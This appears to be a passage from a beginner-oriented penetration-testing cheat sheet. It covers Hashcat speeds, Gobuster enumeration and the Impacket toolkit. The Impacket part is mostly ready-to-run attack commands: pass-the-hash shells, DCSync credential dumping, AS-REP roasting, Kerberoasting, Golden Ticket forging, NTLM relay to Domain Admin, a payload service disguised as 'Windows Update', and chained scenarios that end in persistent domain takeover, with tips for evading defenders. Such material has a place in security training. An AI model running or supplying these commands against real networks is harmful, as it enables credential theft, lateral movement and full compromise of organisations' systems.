MD5 (0): 100 GH/s | NTLM (1000): 160 GH/s | SHA1 (100): 50 GH/s | SHA512 (1800): 1 GH/s | bcrypt (3200): 150 kH/s | WPA2 (22000): 1.5 MH/s | Kerberos TGS (13100): 700 MH/s

Real-World Workflows:
• Windows pentesting: secretsdump.py → Extract NTLM → Hashcat cracking → Lateral movement
• WiFi cracking: Capture handshake (hcxdumptool) → Convert (hcxpcapngtool) → Crack (hashcat -m 22000)
• Kerberoasting: GetUserSPNs.py → Dump TGS tickets → Crack (hashcat -m 13100) → Service account compromise
• NetNTLMv2 relay: Responder captures → Crack (hashcat -m 5600) → SMB authentication

John vs Hashcat:
• John: CPU-based, better for slow hashes (bcrypt), has xxx2john converters, easier for beginners
• Hashcat: GPU-based, 100-1000x faster for fast hashes (MD5, NTLM, SHA), essential for large password dumps
• Use Both: John for format conversion (zip2john, ssh2john), Hashcat for actual cracking! 💻⚡

Gobuster (Go-Based Directory & DNS Brute Force)

What is Gobuster? Gobuster is a blazing-fast directory/file brute-forcing tool written in Go. It's the modern replacement for tools like DirBuster and DIRB—faster, more efficient, and supports multiple modes (directory bruteforce, DNS subdomain enumeration, vhost discovery, S3 bucket enumeration). Think of it as a "speed demon" for web enumeration! 🚀

Why Gobuster? Written in Go = multithreaded = FAST! Can scan thousands of URLs per second. Supports custom wordlists, wildcard detection, status code filtering, and parallel requests. Essential for web pentesting!

Installation & Basic Usage
# Install (pre-installed in Kali): sudo apt install gobuster # Check version: gobuster version # Shows: Gobuster v3.x # View help: gobuster -h # Shows all modes: dir, dns, vhost, s3, gcs, tftp, fuzz
Mode 1: Directory & File Enumeration (dir)

Purpose: Find hidden directories, files, and endpoints on web servers (admin panels, backups, config files, upload directories, etc.)

# Basic directory scan: gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt # -u: Target URL # -w: Wordlist path # BEGINNER EXPLANATION: # Gobuster tries URLs like: # http://target.com/admin # http://target.com/backup # http://target.com/uploads # http://target.com/config # If the page exists (200/301/302), it displays the result! # Example output: =============================================================== Gobuster v3.6 =============================================================== [+] Url: http://target.com [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,204,301,302,307,401,403 =============================================================== /admin (Status: 301) [Size: 314] [→ /admin/] /backup (Status: 200) [Size: 1234] /uploads (Status: 403) [Size: 278] /config.php (Status: 200) [Size: 456] =============================================================== # Found 4 directories/files! # What each status means: # 200 = Page exists and is accessible # 301 = Redirect (directory exists, redirects to /admin/) # 302 = Temporary redirect # 403 = Forbidden (exists but access denied - try directory listing bypass!) # 404 = Not found (page doesn't exist)
Common Flags for Directory Enumeration
# Specify file extensions to search: gobuster dir -u http://target.com -w wordlist.txt -x php,html,txt,bak,zip # -x: File extensions (tries admin.php, admin.html, admin.txt, admin.bak, etc.) # BEGINNER TIP: Use -x php,txt,bak to find backup files and source code! # Filter by status codes: gobuster dir -u http://target.com -w wordlist.txt -s 200,204,301,302,307,401,403 # -s: Status codes to display (default: 200,204,301,302,307,401,403) # BEGINNER TIP: Remove 403 if you want to hide "Forbidden" results # Exclude status codes: gobuster dir -u http://target.com -w wordlist.txt -b 404,500 # -b: Blacklist status codes (don't show 404 or 500 errors) # Increase speed with more threads: gobuster dir -u http://target.com -w wordlist.txt -t 50 # -t: Number of threads (default: 10, max recommended: 50-100) # BEGINNER WARNING: Too many threads = server might block you or crash! # Add custom headers (bypass WAF/authentication): gobuster dir -u http://target.com -w wordlist.txt -H "User-Agent: Mozilla/5.0" -H "X-Forwarded-For: 127.0.0.1" # -H: Add custom HTTP headers # BEGINNER TIP: Use "Authorization: Bearer TOKEN" for authenticated scans # Use cookies for authenticated scanning: gobuster dir -u http://target.com -w wordlist.txt -c "PHPSESSID=abc123; user_id=5" # -c: Add cookies (useful for scanning logged-in areas) # Follow redirects: gobuster dir -u http://target.com -w wordlist.txt -r # -r: Follow redirects (e.g., 301 → follow to final destination) # Disable wildcard detection: gobuster dir -u http://target.com -w wordlist.txt --no-error # --no-error: Disable wildcard detection (some servers return 200 for everything) # Show full URLs in output: gobuster dir -u http://target.com -w wordlist.txt -e # -e: Expanded mode (shows full URL: http://target.com/admin instead of /admin) # Timeout settings: gobuster dir -u http://target.com -w wordlist.txt --timeout 5s # --timeout: Request timeout (default: 10s) # Verbose output: gobuster dir -u http://target.com -w wordlist.txt -v # -v: Verbose mode (shows all requests, even 404s) # Quiet mode (only show found): gobuster dir -u http://target.com -w wordlist.txt -q # -q: Quiet mode (minimal output, only discoveries) # Save output to file: gobuster dir -u http://target.com -w wordlist.txt -o results.txt # -o: Output file (save results for reporting)
Mode 2: DNS Subdomain Enumeration (dns)

Purpose: Discover subdomains of a target domain (dev.example.com, admin.example.com, api.example.com, staging.example.com)

# Basic DNS enumeration: gobuster dns -d example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt # -d: Domain to enumerate # -w: Wordlist (tries dev.example.com, admin.example.com, etc.) # BEGINNER EXPLANATION: # Gobuster performs DNS lookups for: # admin.example.com # dev.example.com # staging.example.com # api.example.com # If the subdomain resolves to an IP, it's found! # Example output: Found: admin.example.com [192.168.1.50] Found: dev.example.com [192.168.1.51] Found: staging.example.com [192.168.1.52] Found: api.example.com [192.168.1.53] # Common DNS flags: # Use custom DNS resolver: gobuster dns -d example.com -w wordlist.txt -r 8.8.8.8 # -r: DNS resolver (Google DNS: 8.8.8.8, Cloudflare: 1.1.1.1) # Show IP addresses: gobuster dns -d example.com -w wordlist.txt -i # -i: Show IP addresses for discovered subdomains # Increase threads: gobuster dns -d example.com -w wordlist.txt -t 50 # -t: Threads (DNS lookups are fast, can use 50-100 threads) # Timeout: gobuster dns -d example.com -w wordlist.txt --timeout 2s # --timeout: DNS timeout (default: 1s)
Mode 3: Virtual Host Discovery (vhost)

Purpose: Discover virtual hosts on a web server (same IP, different websites based on Host header)

# Basic vhost enumeration: gobuster vhost -u http://target.com -w wordlist.txt # -u: Target URL (base domain) # -w: Wordlist (tries Host: admin.target.com, Host: dev.target.com) # BEGINNER EXPLANATION: # Some web servers host multiple sites on same IP using "Host" header # Example: 192.168.1.100 hosts: # - target.com (main site) # - admin.target.com (admin panel) # - dev.target.com (dev environment) # Gobuster tries different Host headers to find hidden sites! # Append domain automatically: gobuster vhost -u http://target.com -w wordlist.txt --append-domain # --append-domain: Automatically appends base domain (tries admin.target.com, dev.target.com) # Filter by status codes: gobuster vhost -u http://target.com -w wordlist.txt -s 200,204,301,302 # -s: Only show these status codes
Mode 4: AWS S3 Bucket Enumeration (s3)

Purpose: Find publicly accessible AWS S3 buckets (cloud storage leaks - passwords, backups, source code!)

# Basic S3 bucket scan: gobuster s3 -w wordlist.txt # -w: Wordlist (tries company-backup, company-files, company-prod, etc.) # BEGINNER EXPLANATION: # AWS S3 buckets have URLs like: # https://company-backup.s3.amazonaws.com # https://company-prod.s3.amazonaws.com # If misconfigured, anyone can LIST/DOWNLOAD files! # Gobuster tries common bucket names to find exposed data # Example output: https://company-backup.s3.amazonaws.com (Status: 200) [Size: 1234] https://company-prod.s3.amazonaws.com (Status: 403) [Forbidden] # 200 = Bucket exists and is public (JACKPOT!) # 403 = Bucket exists but access denied (still useful intel!) # Increase threads: gobuster s3 -w wordlist.txt -t 50 # S3 API is fast, can use many threads
Best Wordlists for Gobuster
# Pre-installed wordlists in Kali: # Small (fast scans): /usr/share/wordlists/dirb/common.txt # 4,614 entries (good for quick scans) /usr/share/wordlists/dirb/big.txt # 20,469 entries # Medium (balanced): /usr/share/seclists/Discovery/Web-Content/common.txt # 4,662 entries /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt # 87,664 entries # Large (thorough scans): /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt # 220,560 entries /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt # 62,284 entries # DNS subdomains: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt # 5,000 most common /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt # 20,000 entries # API endpoints: /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt /usr/share/seclists/Discovery/Web-Content/api/objects.txt # BEGINNER TIP: # Start small (common.txt) → if you find stuff, use bigger wordlist! # Use multiple extensions: -x php,html,txt,bak,zip,sql,old,swp
Complete Real-World Examples
# Example 1: Basic web app scan gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 50 -o scan-results.txt # Scans for directories/files with .php, .html, .txt extensions # 50 threads for speed, saves to scan-results.txt # Example 2: Find admin panels gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html -s 200,301,302 -t 30 # Only shows pages that exist (200/301/302) # Looks for admin.php, login.html, dashboard.php, etc. # Example 3: Authenticated scan gobuster dir -u http://target.com -w wordlist.txt -c "PHPSESSID=abc123; role=admin" -x php,html -t 50 # Scans while authenticated (uses session cookie) # Finds admin-only pages! # Example 4: API endpoint discovery gobuster dir -u http://target.com/api -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -t 50 # Scans /api/ path for hidden endpoints # Finds /api/users, /api/admin, /api/debug, etc. # Example 5: DNS subdomain enumeration gobuster dns -d example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 100 -i # Finds dev.example.com, admin.example.com, staging.example.com # Shows IP addresses with -i flag # Example 6: Virtual host discovery gobuster vhost -u http://192.168.1.100 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -t 50 # Discovers hidden sites on same IP (virtual hosting) # Example 7: S3 bucket hunting gobuster s3 -w /usr/share/seclists/Discovery/Web-Content/s3-buckets.txt -t 50 # Finds exposed AWS S3 buckets # Look for: company-backup, company-prod, company-staging # Example 8: Bypass WAF with custom User-Agent gobuster dir -u http://target.com -w wordlist.txt -H "User-Agent: Googlebot/2.1" -t 30 # Pretends to be Google crawler (some WAFs allow this!) # Example 9: Recursive scan (scan found directories) gobuster dir -u http://target.com -w wordlist.txt -x php -t 50 --wildcard # Then manually scan found dirs: gobuster dir -u http://target.com/admin -w wordlist.txt -x php -t 50
Gobuster vs Other Tools
# Gobuster vs DirBuster vs DIRB vs Feroxbuster: # GOBUSTER: ✅ Fastest (written in Go, multithreaded) ✅ Multiple modes (dir, dns, vhost, s3) ✅ Clean output ✅ Wildcard detection ❌ No recursive scanning (yet) # DirBuster: ✅ GUI interface (good for beginners) ✅ Recursive scanning ❌ SLOW (Java-based) ❌ No longer maintained # DIRB: ✅ Pre-installed in Kali ✅ Good default wordlists ❌ VERY SLOW (single-threaded) ❌ Limited features # Feroxbuster: ✅ Recursive scanning (auto-scans found directories!) ✅ Fast (Rust-based) ✅ Wildcard filtering ✅ Modern alternative to Gobuster ❌ Newer tool (less documentation) # RECOMMENDATION: # - Quick scans: Gobuster (fastest!) # - Recursive scans: Feroxbuster # - Beginners: Gobuster (simpler syntax)
Performance Tuning
# Optimize speed without crashing target: # Low-resource target (shared hosting, slow server): gobuster dir -u http://target.com -w wordlist.txt -t 10 --timeout 10s --delay 100ms # -t 10: Only 10 threads (gentle) # --timeout 10s: Wait 10 seconds for response # --delay 100ms: 100ms delay between requests # Medium target (VPS, dedicated server): gobuster dir -u http://target.com -w wordlist.txt -t 50 --timeout 5s # -t 50: 50 threads (balanced) # --timeout 5s: 5 second timeout # High-performance target (enterprise, CDN): gobuster dir -u http://target.com -w wordlist.txt -t 100 --timeout 3s # -t 100: 100 threads (aggressive!) # --timeout 3s: Fast timeout # BEGINNER TIP: # Start with -t 10, increase gradually # Watch for 429 (rate limiting) or 503 (service unavailable) # If you get blocked, decrease threads and add --delay!

🎯 Gobuster Workflow for Web Pentesting

Step-by-step enumeration process:

1. Initial recon (find the target):
• Run nmap to find web ports (80, 443, 8080, 8443)
• Visit in browser, check for technology (Wappalyzer extension)

2. Directory enumeration (find hidden paths):
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 50
• Look for: /admin, /backup, /config, /uploads, /api, /dev
• Check each found directory manually in browser!

3. DNS subdomain discovery (expand attack surface):
gobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 100 -i
• Found dev.target.com? Scan it with gobuster dir!
• Found staging.target.com? Often less secure than production!

4. Virtual host discovery (same IP, different sites):
gobuster vhost -u http://target.com -w wordlist.txt --append-domain
• Finds hidden sites on same IP
• Try accessing with "Host" header: curl -H "Host: admin.target.com" http://192.168.1.100

5. S3 bucket hunting (cloud leaks):
gobuster s3 -w /usr/share/seclists/Discovery/Web-Content/s3-buckets.txt
• Try company name variations: companybackup, company-prod, company-staging
• If found, check with: aws s3 ls s3://company-backup --no-sign-request

6. Authenticated scanning (logged-in areas):
• Login to site, copy cookies from browser (F12 → Application → Cookies)
• Run: gobuster dir -u http://target.com -w wordlist.txt -c "session=abc123" -t 50
• Finds admin panels, user dashboards, hidden features

Tools to chain with Gobuster:
• Nmap: Find web ports first
• Nikto: Vulnerability scanner after finding directories
• WhatWeb: Technology detection
• Burp Suite: Manual testing of found endpoints
• SQLmap: SQL injection on found pages
• ffuf: Parameter fuzzing on found endpoints

Gobuster finds the doors, YOU kick them open! 🚪💥

Impacket Suite (THE Ultimate Active Directory Attack Toolkit)

What is Impacket? Impacket is a collection of Python classes for working with network protocols (SMB, MSRPC, Kerberos, LDAP, etc.). It's THE go-to toolkit for Active Directory attacks, Windows post-exploitation, and lateral movement. Think of it as the "Swiss Army knife" for Windows hacking! Contains 50+ scripts that pentesters use DAILY!

Why Impacket? Every script in Impacket can operate WITHOUT touching disk on the target (fileless attacks!). Works over the network using legitimate Windows protocols. Essential for: AS-REP roasting, Kerberoasting, DCSync, PSExec, pass-the-hash, pass-the-ticket, secretsdump, and MORE!

Installation & Setup
# Install (pre-installed in Kali): sudo apt install python3-impacket # Check version: impacket-psexec --version # Or: python3 /usr/share/doc/python3-impacket/examples/psexec.py --version # Update Impacket (get latest exploits): sudo apt update && sudo apt upgrade python3-impacket # BEGINNER NOTE: # Impacket scripts have TWO naming formats: # 1. impacket-psexec (Kali wrapper - easier to type) # 2. psexec.py (original Python script) # Both work the same! Use whichever you prefer.
Script 1: PSExec.py - Remote Command Execution (Like PsExec)

What is it? PSExec is a tool that lets you execute commands on remote Windows machines using SMB + RPC. It's like SSH for Windows, but uses Windows Admin Shares ($ADMIN, $C, etc.). Requires admin credentials!

# Basic usage (username + password): impacket-psexec domain/username:password@target_ip # Example: impacket-psexec CORP/administrator:P@ssw0rd@192.168.1.50 # Opens cmd.exe shell on target as SYSTEM! # BEGINNER EXPLANATION: # PSExec uploads an executable to ADMIN$ share → Creates Windows service → Executes command → Returns output # You get: C:\Windows\system32> prompt (interactive shell!) # Permissions: SYSTEM (highest privilege on Windows!) # Use with hash (pass-the-hash attack): impacket-psexec domain/username@target_ip -hashes :NTLM_HASH # Example: impacket-psexec CORP/administrator@192.168.1.50 -hashes :aad3b435b51404eeaad3b435b51404ee # No password needed! Just NTLM hash from secretsdump # Execute single command (non-interactive): impacket-psexec domain/username:password@target_ip "ipconfig /all" # Runs command, shows output, exits # Specify target port: impacket-psexec domain/username:password@target_ip -port 445 # Default: 445 (SMB) # Use Kerberos authentication: impacket-psexec domain/username:password@target_ip -k -no-pass # -k: Use Kerberos ticket (must have TGT in cache) # -no-pass: Don't ask for password # Specify domain controller: impacket-psexec domain/username:password@target_ip -dc-ip 192.168.1.10 # Useful when DNS doesn't work
Script 2: SMBExec.py - Stealthier Remote Execution

What is it? Like PSExec but MORE STEALTHY! Doesn't upload executables or create services. Uses cmd.exe redirection over SMB. Harder for defenders to detect!

# Basic usage: impacket-smbexec domain/username:password@target_ip # Opens semi-interactive shell (each command = new session) # BEGINNER TIP: # PSExec vs SMBExec: # PSExec = Interactive shell, leaves artifacts (service creation, file upload) # SMBExec = Semi-interactive, stealthier (no service, uses cmd.exe pipes) # Use SMBExec when you want to avoid detection! # Pass-the-hash: impacket-smbexec domain/username@target_ip -hashes :NTLM_HASH
Script 3: WMIExec.py - Execute via WMI (Windows Management Instrumentation)

What is it? Uses WMI (Windows Management Instrumentation) to execute commands remotely. VERY STEALTHY! No file drops, no service creation. Just pure WMI magic!

# Basic usage: impacket-wmiexec domain/username:password@target_ip # Opens semi-interactive shell via WMI # BEGINNER NOTE: # WMI = Windows built-in management framework # Commonly used by sysadmins = LESS suspicious to defenders # No artifacts left on disk! # Pass-the-hash: impacket-wmiexec domain/username@target_ip -hashes :NTLM_HASH # Execute single command: impacket-wmiexec domain/username:password@target_ip "whoami"
Script 4: SecretsDump.py - Dump ALL Credentials!

What is it? The HOLY GRAIL of credential dumping! Extracts password hashes from: SAM database, NTDS.dit (Domain Controller), LSA secrets, cached credentials. Works remotely over the network!

# Dump local SAM hashes (local admin required): impacket-secretsdump domain/username:password@target_ip # Extracts: Local user hashes (Administrator, Guest, local users) # BEGINNER EXPLANATION: # SAM = Security Account Manager (stores local user passwords as NTLM hashes) # Output looks like: # Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: # ↑ ↑ ↑ ↑ # Username RID LM Hash (disabled) NTLM Hash (THIS IS WHAT YOU WANT!) # Dump Domain Controller hashes (DCSync attack!): impacket-secretsdump domain/username:password@DC_IP -just-dc # Extracts: EVERY domain user hash (Administrator, krbtgt, all users!) # REQUIRES: Domain Admin privileges OR DCSync rights # DCSync with hash: impacket-secretsdump domain/username@DC_IP -hashes :NTLM_HASH -just-dc # Dump NTDS.dit remotely (entire AD database!): impacket-secretsdump domain/username:password@DC_IP -just-dc-ntlm # -just-dc-ntlm: Only NTLM hashes (faster, smaller output) # Dump specific user: impacket-secretsdump domain/username:password@DC_IP -just-dc-user administrator # Dump LSA secrets (cached passwords, service account passwords): impacket-secretsdump domain/username:password@target_ip -sam -security -system # -sam: SAM database # -security: LSA secrets # -system: SYSTEM registry hive # Dump from local files (if you have SAM/SYSTEM/SECURITY files): impacket-secretsdump -sam SAM.save -security SECURITY.save -system SYSTEM.save LOCAL # LOCAL = parse local files (not remote) # Output hashes to file: impacket-secretsdump domain/username:password@DC_IP -just-dc > hashes.txt # Save all hashes for cracking with Hashcat/John
Script 5: GetNPUsers.py - AS-REP Roasting Attack

What is it? Finds users with "Do not require Kerberos preauthentication" enabled and dumps their AS-REP hashes (can be cracked offline!). No credentials needed!

# Basic AS-REP roasting (no credentials needed!): impacket-GetNPUsers domain.local/ -dc-ip 192.168.1.10 -request # Finds vulnerable users and dumps AS-REP hashes # BEGINNER EXPLANATION: # Normal Kerberos: User sends encrypted timestamp (proves they know password) → DC gives TGT # AS-REP Roasting: If preauth disabled → DC gives TGT WITHOUT password proof! # We can request TGT → Crack it offline to get password! # Target specific user: impacket-GetNPUsers domain.local/username -dc-ip 192.168.1.10 -no-pass # Use username list (enumerate multiple users): impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 192.168.1.10 -format hashcat # -format hashcat: Output in Hashcat format for cracking # With domain credentials (authenticated): impacket-GetNPUsers domain.local/username:password -dc-ip 192.168.1.10 -request # Output to file: impacket-GetNPUsers domain.local/ -dc-ip 192.168.1.10 -request -outputfile asrep_hashes.txt # Crack AS-REP hash with Hashcat: hashcat -m 18200 asrep_hash.txt /usr/share/wordlists/rockyou.txt # -m 18200: Kerberos 5 AS-REP etype 23 (AS-REP roasting)
Script 6: GetUserSPNs.py - Kerberoasting Attack

What is it? Finds service accounts with SPNs (Service Principal Names) and dumps their TGS tickets (can be cracked offline!). Requires ANY domain user credentials!

# Basic Kerberoasting (requires domain credentials): impacket-GetUserSPNs domain.local/username:password -dc-ip 192.168.1.10 -request # Finds all SPNs and dumps TGS tickets # BEGINNER EXPLANATION: # SPN = Service Principal Name (e.g., MSSQLSvc/sql01.corp.local:1433) # Service accounts often have weak passwords (never expire, not rotated!) # Kerberoasting: Request TGS ticket → Encrypted with service account password → Crack offline! # Output in Hashcat format: impacket-GetUserSPNs domain.local/username:password -dc-ip 192.168.1.10 -request -outputfile tgs_tickets.txt # Target specific SPN: impacket-GetUserSPNs domain.local/username:password -dc-ip 192.168.1.10 -request-user sqlservice # Save tickets for later: impacket-GetUserSPNs domain.local/username:password -dc-ip 192.168.1.10 -save # Crack TGS with Hashcat: hashcat -m 13100 tgs_ticket.txt /usr/share/wordlists/rockyou.txt # -m 13100: Kerberos 5 TGS-REP etype 23 (Kerberoasting) # Kerberoasting workflow: # 1. Get any domain user creds (phishing, password spray, etc.) # 2. Run GetUserSPNs.py → dumps TGS tickets # 3. Crack tickets with Hashcat/John # 4. Compromise service account → Often has high privileges!
Script 7: GetADUsers.py - Enumerate Domain Users
# Enumerate all domain users: impacket-GetADUsers domain.local/username:password -dc-ip 192.168.1.10 -all # Lists: All domain users with details (SamAccountName, email, description, etc.) # Get specific user info: impacket-GetADUsers domain.local/username:password -dc-ip 192.168.1.10 -user administrator
Script 8: Ticketer.py - Golden/Silver Ticket Creation

What is it? Creates forged Kerberos tickets (Golden = Domain Admin forever, Silver = Access to specific service). Requires krbtgt hash or service account hash!

# Create Golden Ticket (requires krbtgt hash from secretsdump): impacket-ticketer -nthash KRBTGT_NTLM_HASH -domain-sid DOMAIN_SID -domain DOMAIN.LOCAL fakeuser # Creates: fakeuser.ccache (Kerberos ticket) # BEGINNER EXPLANATION: # Golden Ticket = Forged TGT signed with krbtgt hash # krbtgt = Kerberos Ticket Granting Ticket account (master key for domain!) # If you have krbtgt hash → Create tickets for ANY user with ANY privileges! # Ticket valid for 10 years by default! # Use Golden Ticket: export KRB5CCNAME=fakeuser.ccache impacket-psexec DOMAIN.LOCAL/fakeuser@DC01.DOMAIN.LOCAL -k -no-pass # -k: Use Kerberos ticket # You're now Domain Admin without password! # Create Silver Ticket (access specific service): impacket-ticketer -nthash SERVICE_ACCOUNT_HASH -domain-sid DOMAIN_SID -domain DOMAIN.LOCAL -spn cifs/server.domain.local fakeuser # Creates ticket for accessing CIFS share on server.domain.local
Script 9: GetST.py - Request Service Ticket
# Request TGS ticket for specific SPN: impacket-getST domain.local/username:password -spn cifs/target.domain.local -dc-ip 192.168.1.10 # Request with hash: impacket-getST domain.local/username -hashes :NTLM_HASH -spn cifs/target.domain.local -dc-ip 192.168.1.10
Script 10: NTLMRelayX.py - NTLM Relay Attacks

What is it? Captures NTLM authentication attempts and RELAYS them to other servers (SMB relay, LDAP relay, HTTP relay). Incredibly powerful for lateral movement!

# Basic SMB relay (relay captured auth to targets): impacket-ntlmrelayx -tf targets.txt -smb2support # -tf: Target file (list of IPs to relay to) # -smb2support: Enable SMB2/3 support # BEGINNER EXPLANATION: # NTLM relay attack: # 1. You capture NTLM authentication (via Responder, MITM, etc.) # 2. Relay it to another server # 3. If user has admin on target → YOU get admin shell! # 4. No password cracking needed! # Relay to specific target: impacket-ntlmrelayx -t 192.168.1.50 -smb2support # When victim authenticates → relay to 192.168.1.50 # Relay + execute command: impacket-ntlmrelayx -t 192.168.1.50 -smb2support -c "whoami" # Relays auth → executes command on target # Relay + dump SAM: impacket-ntlmrelayx -t 192.168.1.50 -smb2support --dump-sam # Relays auth → dumps SAM hashes # LDAP relay (escalate to Domain Admin!): impacket-ntlmrelayx -t ldap://DC01.domain.local -smb2support --escalate-user normaluser # Relays auth to LDAP → adds normaluser to Domain Admins! # HTTP to SMB relay: impacket-ntlmrelayx -t 192.168.1.50 -smb2support -http-port 80 # Listens on HTTP:80 → relays to SMB # Relay workflow: # 1. Start ntlmrelayx: impacket-ntlmrelayx -tf targets.txt -smb2support # 2. Force victim to authenticate (Responder, phishing link, etc.) # 3. ntlmrelayx captures → relays → you get shell!
Script 11: SMBClient.py - Interactive SMB Client
# Connect to SMB share: impacket-smbclient domain/username:password@target_ip # Opens interactive shell: shares, ls, cd, get, put # List shares: impacket-smbclient domain/username:password@target_ip -list # Connect to specific share: impacket-smbclient domain/username:password@target_ip -share ADMIN$ # Commands in interactive shell: shares # List available shares use ADMIN$ # Connect to share ls # List files cd Windows # Change directory get file.txt # Download file put payload.exe # Upload file
Script 12: SMBServer.py - Create Fake SMB Server
# Create SMB server (share local directory): impacket-smbserver share /path/to/folder -smb2support # Creates: \\YOUR_IP\share # BEGINNER USE CASE: # 1. Start SMB server on attacker machine # 2. From compromised Windows: copy \\ATTACKER_IP\share\payload.exe C:\temp\ # 3. Transfer files WITHOUT uploading to web server! # No authentication required: impacket-smbserver share /tmp -smb2support # With authentication: impacket-smbserver share /tmp -smb2support -username user -password pass
Script 13: REG.py - Remote Registry Access
# Query remote registry: impacket-reg domain/username:password@target_ip query -keyName HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion # Dump registry hive: impacket-reg domain/username:password@target_ip backup -keyName HKLM\\SAM # Saves SAM hive for offline password extraction
Script 14: Services.py - Remote Service Management
# List services on remote machine: impacket-services domain/username:password@target_ip list # Create service: impacket-services domain/username:password@target_ip create -name EvilService -display "Windows Update" -path "C:\\payload.exe" # Start service: impacket-services domain/username:password@target_ip start -name EvilService # Delete service: impacket-services domain/username:password@target_ip delete -name EvilService
Script 15: ATExec.py - Execute via Task Scheduler
# Execute command via scheduled task: impacket-atexec domain/username:password@target_ip "whoami" # Creates scheduled task → executes → deletes task # BEGINNER TIP: # atexec = uses Windows Task Scheduler (more stealthy than PSExec service creation)
Script 16: DComExec.py - Execute via DCOM
# Execute via DCOM (Distributed Component Object Model): impacket-dcomexec domain/username:password@target_ip "whoami" # Uses DCOM objects (MMC20.Application, ShellWindows, etc.) # BEGINNER NOTE: # DCOM = Another Windows remote execution method (VERY stealthy!)
Script 17: Lookupsid.py - Enumerate Domain SIDs/Users
# Enumerate domain users via SID lookup: impacket-lookupsid domain/username:password@target_ip # Brute forces SIDs (S-1-5-21-...) to find all domain users # BEGINNER EXPLANATION: # SID = Security Identifier (unique ID for users/groups) # lookupsid tries SIDs 500-2000 → finds users even if enumeration is restricted!
Script 18: Samrdump.py - Dump SAM Database
# Dump SAM remotely: impacket-samrdump domain/username:password@target_ip # Extracts user info from SAM (usernames, descriptions, group memberships)
Script 19: Rpcdump.py - Enumerate RPC Endpoints
# Enumerate RPC endpoints: impacket-rpcdump domain/username:password@target_ip # Lists all RPC interfaces (useful for finding vulnerable services)
Script 20: Mimikatz.py - Execute Mimikatz Remotely
# Execute Mimikatz commands remotely: impacket-mimikatz domain/username:password@target_ip "privilege::debug sekurlsa::logonpasswords" # Runs Mimikatz in memory → dumps passwords
Complete Attack Scenarios
# SCENARIO 1: Initial Access → Domain Admin # Step 1: Get initial domain user credentials (password spray, phishing, etc.) impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 192.168.1.10 -format hashcat -outputfile asrep.txt # AS-REP roasting (no creds needed!) # Step 2: Crack AS-REP hash hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt # Found: user1:Welcome123 # Step 3: Kerberoasting (with user1 creds) impacket-GetUserSPNs domain.local/user1:Welcome123 -dc-ip 192.168.1.10 -request -outputfile tgs.txt # Step 4: Crack TGS ticket hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt # Found: sqlservice:P@ssw0rd! # Step 5: Check if sqlservice is admin anywhere crackmapexec smb targets.txt -u sqlservice -p 'P@ssw0rd!' --shares # Found admin on: 192.168.1.50 # Step 6: Get shell on 192.168.1.50 impacket-psexec domain.local/sqlservice:P@ssw0rd!@192.168.1.50 # Got SYSTEM shell! # Step 7: Dump local SAM impacket-secretsdump domain.local/sqlservice:P@ssw0rd!@192.168.1.50 # Found local admin hash # Step 8: Pass-the-hash to other machines impacket-psexec domain.local/administrator@192.168.1.51 -hashes :LOCAL_ADMIN_HASH # Step 9: Eventually reach Domain Controller impacket-psexec domain.local/administrator@DC01.domain.local -hashes :HASH # Step 10: DCSync (dump all domain hashes) impacket-secretsdump domain.local/administrator@DC01.domain.local -hashes :HASH -just-dc # Got krbtgt hash! # Step 11: Create Golden Ticket impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.LOCAL newadmin export KRB5CCNAME=newadmin.ccache # Step 12: Persist as Domain Admin FOREVER impacket-psexec DOMAIN.LOCAL/newadmin@DC01.DOMAIN.LOCAL -k -no-pass # You're now Domain Admin with Golden Ticket (valid for 10 years!) # SCENARIO 2: NTLM Relay to Domain Admin # Step 1: Start Responder (capture NTLM auth) sudo responder -I eth0 -v # Step 2: Start ntlmrelayx (relay to DC LDAP) impacket-ntlmrelayx -t ldap://DC01.domain.local -smb2support --escalate-user lowpriv # Step 3: Force victim to authenticate (trigger Windows search, phishing link, etc.) # Example: \\ATTACKER_IP\share # Step 4: Responder captures → ntlmrelayx relays to LDAP → adds lowpriv to Domain Admins! # Step 5: Verify net user lowpriv /domain # Member of: Domain Admins # Step 6: DCSync with new DA account impacket-secretsdump domain.local/lowpriv:password@DC01 -just-dc # SCENARIO 3: Stealth Post-Exploitation # Step 1: WMIExec instead of PSExec (stealthier) impacket-wmiexec domain.local/user:pass@target_ip # Step 2: Dump credentials without touching disk impacket-secretsdump domain.local/user:pass@target_ip -outputfile hashes.txt # Step 3: Pass-the-hash for lateral movement for ip in $(cat targets.txt); do impacket-wmiexec domain.local/administrator@$ip -hashes :HASH "whoami" done # Step 4: Create Silver Ticket (access specific service without full DA) impacket-ticketer -nthash SERVICE_HASH -domain-sid SID -domain DOMAIN.LOCAL -spn cifs/file01.domain.local user export KRB5CCNAME=user.ccache impacket-smbclient DOMAIN.LOCAL/user@file01.domain.local -k -no-pass

🎯 Impacket Cheat Sheet

Quick reference for common tasks:

Remote Execution:
• psexec.py - Full interactive shell (leaves artifacts)
• smbexec.py - Semi-interactive, stealthier
• wmiexec.py - WMI-based, VERY stealthy
